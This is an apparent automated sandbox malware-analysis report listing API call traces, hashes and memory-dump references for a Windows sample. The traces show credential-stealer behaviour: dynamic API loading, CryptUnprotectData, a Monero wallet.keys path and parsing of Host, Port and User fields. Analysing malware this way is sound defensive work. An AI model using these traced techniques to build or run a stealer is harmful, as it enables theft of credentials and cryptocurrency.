Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 29415a165a34e75c29647e120c6e473b66193c93a437df28692628b2e1f4f087
Instruction ID: ed8fc0c28a1996300f49f8278721045f88ef7f78cae730d806c61c5840577a9b
Opcode Fuzzy Hash: 29415a165a34e75c29647e120c6e473b66193c93a437df28692628b2e1f4f087
Instruction Fuzzy Hash: 37110CB9A00209DFCB04DF94D985AAE77B5FF88300F104558E81597350D770AE51CF61

Function 006F7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006E11B7), ref: 006F7880
RtlAllocateHeap.NTDLL(00000000), ref: 006F7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 006F789F

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: ec214f90a8376d68e31034b2b4a68a442231f0c6fc0d293b12854758fa1dc3f8
Instruction ID: 5b0318b17fc3a2d85c4282033220f756f6bd1d25282d6c87e79d7de9e86313ca
Opcode Fuzzy Hash: ec214f90a8376d68e31034b2b4a68a442231f0c6fc0d293b12854758fa1dc3f8
Instruction Fuzzy Hash: 89F04FB2D48208ABC714DF98DD49FAEBBB8EB04711F10066AFA15A2680C77815058BA1

Function 006E1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 006E116A
ExitProcess.KERNEL32 ref: 006E117E

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: cde2ac7e3c751a22052adb4b41a19997b02f80979529883f72a73ca979eeefcf
Instruction ID: 6cc359c1c546a0ba906ab37595d8c33e3d313f96eb8e0df736181d7eeb15f19c
Opcode Fuzzy Hash: cde2ac7e3c751a22052adb4b41a19997b02f80979529883f72a73ca979eeefcf
Instruction Fuzzy Hash: 2FD05E75D0430CDBCB10DFE0DC496EDBBBCFB08311F000594D90562340EA305882CAAA

Function 006F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01646360), ref: 006F9C2D
GetProcAddress.KERNEL32(75900000,016464C0), ref: 006F9C45
GetProcAddress.KERNEL32(75900000,01658F70), ref: 006F9C5E
GetProcAddress.KERNEL32(75900000,01658FA0), ref: 006F9C76
GetProcAddress.KERNEL32(75900000,0165CEE8), ref: 006F9C8E
GetProcAddress.KERNEL32(75900000,0165CEA0), ref: 006F9CA7
GetProcAddress.KERNEL32(75900000,0164B518), ref: 006F9CBF
GetProcAddress.KERNEL32(75900000,0165CEB8), ref: 006F9CD7
GetProcAddress.KERNEL32(75900000,0165CE40), ref: 006F9CF0
GetProcAddress.KERNEL32(75900000,0165CFA8), ref: 006F9D08
GetProcAddress.KERNEL32(75900000,0165CED0), ref: 006F9D20
GetProcAddress.KERNEL32(75900000,016465E0), ref: 006F9D39
GetProcAddress.KERNEL32(75900000,01646380), ref: 006F9D51
GetProcAddress.KERNEL32(75900000,016463A0), ref: 006F9D69
GetProcAddress.KERNEL32(75900000,01646500), ref: 006F9D82
GetProcAddress.KERNEL32(75900000,0165CF18), ref: 006F9D9A
GetProcAddress.KERNEL32(75900000,0165CE58), ref: 006F9DB2
GetProcAddress.KERNEL32(75900000,0164B5E0), ref: 006F9DCB
GetProcAddress.KERNEL32(75900000,01646400), ref: 006F9DE3
GetProcAddress.KERNEL32(75900000,0165CF00), ref: 006F9DFB
GetProcAddress.KERNEL32(75900000,0165CE28), ref: 006F9E14
GetProcAddress.KERNEL32(75900000,0165CF78), ref: 006F9E2C
GetProcAddress.KERNEL32(75900000,0165CF30), ref: 006F9E44
GetProcAddress.KERNEL32(75900000,016464A0), ref: 006F9E5D
GetProcAddress.KERNEL32(75900000,0165CF60), ref: 006F9E75
GetProcAddress.KERNEL32(75900000,0165CF48), ref: 006F9E8D
GetProcAddress.KERNEL32(75900000,0165CF90), ref: 006F9EA6
GetProcAddress.KERNEL32(75900000,0165CFC0), ref: 006F9EBE
GetProcAddress.KERNEL32(75900000,0165CE10), ref: 006F9ED6
GetProcAddress.KERNEL32(75900000,0165CE70), ref: 006F9EEF
GetProcAddress.KERNEL32(75900000,0165CE88), ref: 006F9F07
GetProcAddress.KERNEL32(75900000,0165CAC8), ref: 006F9F1F
GetProcAddress.KERNEL32(75900000,0165C948), ref: 006F9F38
GetProcAddress.KERNEL32(75900000,01659E48), ref: 006F9F50
GetProcAddress.KERNEL32(75900000,0165C990), ref: 006F9F68
GetProcAddress.KERNEL32(75900000,0165CA50), ref: 006F9F81
GetProcAddress.KERNEL32(75900000,01646420), ref: 006F9F99
GetProcAddress.KERNEL32(75900000,0165C858), ref: 006F9FB1
GetProcAddress.KERNEL32(75900000,01646440), ref: 006F9FCA
GetProcAddress.KERNEL32(75900000,0165CA20), ref: 006F9FE2
GetProcAddress.KERNEL32(75900000,0165CA68), ref: 006F9FFA
GetProcAddress.KERNEL32(75900000,01646460), ref: 006FA013
GetProcAddress.KERNEL32(75900000,016464E0), ref: 006FA02B
LoadLibraryA.KERNEL32(0165C810,?,006F5CA3,00700AEB,?,?,?,?,?,?,?,?,?,?,00700AEA,00700AE3), ref: 006FA03D
LoadLibraryA.KERNEL32(0165C900,?,006F5CA3,00700AEB,?,?,?,?,?,?,?,?,?,?,00700AEA,00700AE3), ref: 006FA04E
LoadLibraryA.KERNEL32(0165C960,?,006F5CA3,00700AEB,?,?,?,?,?,?,?,?,?,?,00700AEA,00700AE3), ref: 006FA060
LoadLibraryA.KERNEL32(0165CAB0,?,006F5CA3,00700AEB,?,?,?,?,?,?,?,?,?,?,00700AEA,00700AE3), ref: 006FA072
LoadLibraryA.KERNEL32(0165CA80,?,006F5CA3,00700AEB,?,?,?,?,?,?,?,?,?,?,00700AEA,00700AE3), ref: 006FA083
LoadLibraryA.KERNEL32(0165C9F0,?,006F5CA3,00700AEB,?,?,?,?,?,?,?,?,?,?,00700AEA,00700AE3), ref: 006FA095
LoadLibraryA.KERNEL32(0165C978,?,006F5CA3,00700AEB,?,?,?,?,?,?,?,?,?,?,00700AEA,00700AE3), ref: 006FA0A7
LoadLibraryA.KERNEL32(0165C840,?,006F5CA3,00700AEB,?,?,?,?,?,?,?,?,?,?,00700AEA,00700AE3), ref: 006FA0B8
GetProcAddress.KERNEL32(75FD0000,016466A0), ref: 006FA0DA
GetProcAddress.KERNEL32(75FD0000,0165C888), ref: 006FA0F2
GetProcAddress.KERNEL32(75FD0000,01658880), ref: 006FA10A
GetProcAddress.KERNEL32(75FD0000,0165C918), ref: 006FA123
GetProcAddress.KERNEL32(75FD0000,01646760), ref: 006FA13B
GetProcAddress.KERNEL32(73B30000,0164B090), ref: 006FA160
GetProcAddress.KERNEL32(73B30000,016467C0), ref: 006FA179
GetProcAddress.KERNEL32(73B30000,0164B0B8), ref: 006FA191
GetProcAddress.KERNEL32(73B30000,0165C8A0), ref: 006FA1A9
GetProcAddress.KERNEL32(73B30000,0165C870), ref: 006FA1C2
GetProcAddress.KERNEL32(73B30000,01646820), ref: 006FA1DA
GetProcAddress.KERNEL32(73B30000,016467A0), ref: 006FA1F2
GetProcAddress.KERNEL32(73B30000,0165C828), ref: 006FA20B
GetProcAddress.KERNEL32(763B0000,016467E0), ref: 006FA22C
GetProcAddress.KERNEL32(763B0000,016468E0), ref: 006FA244
GetProcAddress.KERNEL32(763B0000,0165C930), ref: 006FA25D
GetProcAddress.KERNEL32(763B0000,0165C9A8), ref: 006FA275
GetProcAddress.KERNEL32(763B0000,01646700), ref: 006FA28D
GetProcAddress.KERNEL32(750F0000,0164B0E0), ref: 006FA2B3
GetProcAddress.KERNEL32(750F0000,0164B130), ref: 006FA2CB
GetProcAddress.KERNEL32(750F0000,0165CAE0), ref: 006FA2E3
GetProcAddress.KERNEL32(750F0000,01646840), ref: 006FA2FC
GetProcAddress.KERNEL32(750F0000,01646800), ref: 006FA314
GetProcAddress.KERNEL32(750F0000,0164AEB0), ref: 006FA32C
GetProcAddress.KERNEL32(75A50000,0165CA38), ref: 006FA352
GetProcAddress.KERNEL32(75A50000,01646A20), ref: 006FA36A
GetProcAddress.KERNEL32(75A50000,01658890), ref: 006FA382
GetProcAddress.KERNEL32(75A50000,0165C8B8), ref: 006FA39B
GetProcAddress.KERNEL32(75A50000,0165C8E8), ref: 006FA3B3
GetProcAddress.KERNEL32(75A50000,01646860), ref: 006FA3CB
GetProcAddress.KERNEL32(75A50000,016468C0), ref: 006FA3E4
GetProcAddress.KERNEL32(75A50000,0165C9C0), ref: 006FA3FC
GetProcAddress.KERNEL32(75A50000,0165C9D8), ref: 006FA414
GetProcAddress.KERNEL32(75070000,016466E0), ref: 006FA436
GetProcAddress.KERNEL32(75070000,0165CA08), ref: 006FA44E
GetProcAddress.KERNEL32(75070000,0165CA98), ref: 006FA466
GetProcAddress.KERNEL32(75070000,0165CAF8), ref: 006FA47F
GetProcAddress.KERNEL32(75070000,0165C8D0), ref: 006FA497
GetProcAddress.KERNEL32(74E50000,01646960), ref: 006FA4B8
GetProcAddress.KERNEL32(74E50000,016469C0), ref: 006FA4D1
GetProcAddress.KERNEL32(75320000,01646980), ref: 006FA4F2
GetProcAddress.KERNEL32(75320000,0165CC00), ref: 006FA50A
GetProcAddress.KERNEL32(6F060000,016469E0), ref: 006FA530
GetProcAddress.KERNEL32(6F060000,016468A0), ref: 006FA548
GetProcAddress.KERNEL32(6F060000,01646780), ref: 006FA560
GetProcAddress.KERNEL32(6F060000,0165CCD8), ref: 006FA579
GetProcAddress.KERNEL32(6F060000,01646880), ref: 006FA591
GetProcAddress.KERNEL32(6F060000,016466C0), ref: 006FA5A9
GetProcAddress.KERNEL32(6F060000,01646900), ref: 006FA5C2
GetProcAddress.KERNEL32(6F060000,016469A0), ref: 006FA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 006FA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 006FA607
GetProcAddress.KERNEL32(74E00000,0165CDC8), ref: 006FA629
GetProcAddress.KERNEL32(74E00000,016588A0), ref: 006FA641
GetProcAddress.KERNEL32(74E00000,0165CBA0), ref: 006FA659
GetProcAddress.KERNEL32(74E00000,0165CB28), ref: 006FA672
GetProcAddress.KERNEL32(74DF0000,01646920), ref: 006FA693
GetProcAddress.KERNEL32(6D0A0000,0165CDE0), ref: 006FA6B4
GetProcAddress.KERNEL32(6D0A0000,01646740), ref: 006FA6CD
GetProcAddress.KERNEL32(6D0A0000,0165CDF8), ref: 006FA6E5
GetProcAddress.KERNEL32(6D0A0000,0165CCF0), ref: 006FA6FD

Strings

HttpQueryInfoA, xrefs: 006FA5FC
InternetSetOptionA, xrefs: 006FA5E5

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: da1c3ce1cc9629a0abf6f5b4fae3e81102a9fee0d7ee6f3c9fe5e3ec579cf03f
Instruction ID: 503d9b93747e003eca7d8a89b7e1212541c3f1093b9d6253a17340be2c037538
Opcode Fuzzy Hash: da1c3ce1cc9629a0abf6f5b4fae3e81102a9fee0d7ee6f3c9fe5e3ec579cf03f
Instruction Fuzzy Hash: 72620DB7928200AFC364DFA9FE8896637F9F74C701714852AE609C3264D7399443FB5A

Function 006E7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 006E7724
RtlAllocateHeap.NTDLL(00000000), ref: 006E772B
lstrcat.KERNEL32(?,016594E8), ref: 006E78DB
lstrcat.KERNEL32(?,?), ref: 006E78EF
lstrcat.KERNEL32(?,?), ref: 006E7903
lstrcat.KERNEL32(?,?), ref: 006E7917
lstrcat.KERNEL32(?,0165DDA8), ref: 006E792B
lstrcat.KERNEL32(?,0165DDD8), ref: 006E793F
lstrcat.KERNEL32(?,0165DB20), ref: 006E7952
lstrcat.KERNEL32(?,0165DB98), ref: 006E7966
lstrcat.KERNEL32(?,0165DFF8), ref: 006E797A
lstrcat.KERNEL32(?,?), ref: 006E798E
lstrcat.KERNEL32(?,?), ref: 006E79A2
lstrcat.KERNEL32(?,?), ref: 006E79B6
lstrcat.KERNEL32(?,0165DDA8), ref: 006E79C9
lstrcat.KERNEL32(?,0165DDD8), ref: 006E79DD
lstrcat.KERNEL32(?,0165DB20), ref: 006E79F1
lstrcat.KERNEL32(?,0165DB98), ref: 006E7A04
lstrcat.KERNEL32(?,0165E060), ref: 006E7A18
lstrcat.KERNEL32(?,?), ref: 006E7A2C
lstrcat.KERNEL32(?,?), ref: 006E7A40
lstrcat.KERNEL32(?,?), ref: 006E7A54
lstrcat.KERNEL32(?,0165DDA8), ref: 006E7A68
lstrcat.KERNEL32(?,0165DDD8), ref: 006E7A7B
lstrcat.KERNEL32(?,0165DB20), ref: 006E7A8F
lstrcat.KERNEL32(?,0165DB98), ref: 006E7AA3
lstrcat.KERNEL32(?,0165E0C8), ref: 006E7AB6
lstrcat.KERNEL32(?,?), ref: 006E7ACA
lstrcat.KERNEL32(?,?), ref: 006E7ADE
lstrcat.KERNEL32(?,?), ref: 006E7AF2
lstrcat.KERNEL32(?,0165DDA8), ref: 006E7B06
lstrcat.KERNEL32(?,0165DDD8), ref: 006E7B1A
lstrcat.KERNEL32(?,0165DB20), ref: 006E7B2D
lstrcat.KERNEL32(?,0165DB98), ref: 006E7B41
lstrcat.KERNEL32(?,0165E130), ref: 006E7B55
lstrcat.KERNEL32(?,?), ref: 006E7B69
lstrcat.KERNEL32(?,?), ref: 006E7B7D
lstrcat.KERNEL32(?,?), ref: 006E7B91
lstrcat.KERNEL32(?,0165DDA8), ref: 006E7BA4
lstrcat.KERNEL32(?,0165DDD8), ref: 006E7BB8
lstrcat.KERNEL32(?,0165DB20), ref: 006E7BCC
lstrcat.KERNEL32(?,0165DB98), ref: 006E7BDF
lstrcat.KERNEL32(?,0165E198), ref: 006E7BF3
lstrcat.KERNEL32(?,?), ref: 006E7C07
lstrcat.KERNEL32(?,?), ref: 006E7C1B
lstrcat.KERNEL32(?,?), ref: 006E7C2F
lstrcat.KERNEL32(?,0165DDA8), ref: 006E7C43
lstrcat.KERNEL32(?,0165DDD8), ref: 006E7C56
lstrcat.KERNEL32(?,0165DB20), ref: 006E7C6A
lstrcat.KERNEL32(?,0165DB98), ref: 006E7C7E

Part of subcall function 006E75D0: lstrcat.KERNEL32(35A57020,007017FC), ref: 006E7606
Part of subcall function 006E75D0: lstrcat.KERNEL32(35A57020,00000000), ref: 006E7648
Part of subcall function 006E75D0: lstrcat.KERNEL32(35A57020, : ), ref: 006E765A
Part of subcall function 006E75D0: lstrcat.KERNEL32(35A57020,00000000), ref: 006E768F
Part of subcall function 006E75D0: lstrcat.KERNEL32(35A57020,00701804), ref: 006E76A0
Part of subcall function 006E75D0: lstrcat.KERNEL32(35A57020,00000000), ref: 006E76D3
Part of subcall function 006E75D0: lstrcat.KERNEL32(35A57020,00701808), ref: 006E76ED
Part of subcall function 006E75D0: task.LIBCPMTD ref: 006E76FB

lstrcat.KERNEL32(?,0165E4D0), ref: 006E7E0B
lstrcat.KERNEL32(?,0165D4F8), ref: 006E7E1E
lstrlen.KERNEL32(35A57020), ref: 006E7E2B
lstrlen.KERNEL32(35A57020), ref: 006E7E3B

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: a4ddf68b028fea06612837229345c028b80bfce8c0c6c599d2750aba99a24ec9
Instruction ID: c29d409ed9e712f2f70d546b7bd11daf6fd25e6ddb308501bcb071575f054dd9
Opcode Fuzzy Hash: a4ddf68b028fea06612837229345c028b80bfce8c0c6c599d2750aba99a24ec9
Instruction Fuzzy Hash: 553220B6C14318ABCB65EBA0DC85DEA737DBB44700F044A88F31962091EE74EB86DF55

Function 006F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006F8E0B

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006FA7E6

Part of subcall function 006E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006E99EC
Part of subcall function 006E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006E9A11
Part of subcall function 006E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006E9A31
Part of subcall function 006E99C0: ReadFile.KERNEL32(000000FF,?,00000000,006E148F,00000000), ref: 006E9A5A
Part of subcall function 006E99C0: LocalFree.KERNEL32(006E148F), ref: 006E9A90
Part of subcall function 006E99C0: CloseHandle.KERNEL32(000000FF), ref: 006E9A9A

Part of subcall function 006F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006F8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00700DBA,00700DB7,00700DB6,00700DB3), ref: 006F0362
RtlAllocateHeap.NTDLL(00000000), ref: 006F0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 006F0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00700DB2), ref: 006F0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 006F03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00700DB2), ref: 006F03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 006F0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00700DB2), ref: 006F0427
